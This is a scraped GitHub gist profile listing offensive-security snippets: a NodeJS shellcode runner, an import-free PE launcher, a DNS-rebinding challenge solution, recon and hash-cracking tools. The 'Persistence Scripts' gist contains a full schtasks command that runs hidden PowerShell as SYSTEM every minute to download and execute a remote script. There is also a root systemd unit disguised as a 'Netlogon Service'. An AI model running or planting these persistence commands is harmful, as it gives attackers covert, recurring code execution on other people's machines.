Skip to content

Instantly share code, notes, and snippets.

View whokilleddb's full-sized avatar
💭
Helping to make open source a tad bit more secure

whokilleddb whokilleddb

💭
Helping to make open source a tad bit more secure
View GitHub Profile
@whokilleddb
whokilleddb / shellcode.js
Created October 11, 2023 11:16
NodeJS FFI to run shellcode!
const ffi = require('ffi-napi');
const ref = require("ref-napi");
const SIZE_T = ref.types.uint64;
const DWORD = ref.types.uint32;
const VOID = ref.types.void;
const LPVOID = ref.refType(VOID);
const HANDLE = LPVOID;
const LPDWORD = ref.refType(DWORD);
@whokilleddb
whokilleddb / launcher.c
Last active February 9, 2023 00:47
PE without any imports!
// Compile with: cl.exe /Ox /W0 /GS- launcher.c
// Check imports with: dumpbin /imports launcher.exe
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(linker, "/entry:WinMain")
// Function Pointers
@whokilleddb
whokilleddb / Solution_08_12.md
Created December 8, 2022 16:20
Intigriti Spot The Bug Solution 08/12

Intigriti Spot The Bug Solution 08/12

The given code snippet is vulnerable to DNS rebinding attack where an attacker can switch the IP addresses associated with domain names to pass certain security checks!

To understand this challenge, let's look at the source code:

First things first, there are two files:

  • app.js: Our friendly vulnerable application
  • local.js: A simple server which gives us our flag!
@whokilleddb
whokilleddb / error.rs
Created October 26, 2022 17:39
A bunch of useful rust structs to parse pe headers
// Custom Error
use std::fmt;
// Structure to refer application errors
pub struct AppError {
pub description: String
}
// Print error message
impl fmt::Display for AppError{
@whokilleddb
whokilleddb / Powershell command service
Last active June 1, 2024 20:40
Persistence Scripts
schtasks /create /tn SysMon /tr "powershell -ep bypass -NoLogo -WindowStyle hidden -command 'IEX (New-Object Net.WebClient).DownloadString('''https://gist.githubusercontent.com/whokilleddb/8b85ccf047a77c9ffd1f707cc866038f/raw/SysMaintain.ps1''')'" /sc minute /mo 1 /ru System
@whokilleddb
whokilleddb / gen_favicon_hash.py
Last active July 26, 2022 07:41
Generate Favicon Hashes For Recon
#!/usr/bin/env python3
import mmh3
import sys
import codecs
import requests
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} [Favicon URL]")
sys.exit(0)
@whokilleddb
whokilleddb / Cargo.toml
Created June 18, 2022 06:43
DuckThatSha1 - A simple SHA1 cracker in Rust
[package]
name = "sha1_cracker"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
clap = "3.2.5"
termion = "1.5.6"
[Unit]
Description=Netlogon Service
[Service]
User=root
WorkingDirectory=/usr/share/rex/
ExecStart=/usr/share/rex/netlogon.sh
Restart=always
[Install]
@whokilleddb
whokilleddb / Cargo.toml
Last active December 26, 2021 11:35
Rust Program To Give You Weather Stats Using openweathermap.org
[package]
name = "forecast"
version = "0.1.0"
authors = ["whokilleddb <whokilleddb@gmail.com>"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
structopt = "0.3.15"
@whokilleddb
whokilleddb / Dockerfile
Last active December 23, 2021 21:35
Dockerfile to compile Linux Kernel from source
FROM debian:10.11 as source
WORKDIR /kernel
# Extra Metadata
LABEL version = "0.1.0"
LABEL desciption = "Compile A Kernel"
# Install Dependencies
FROM source as init
RUN apt update -y && apt upgrade -y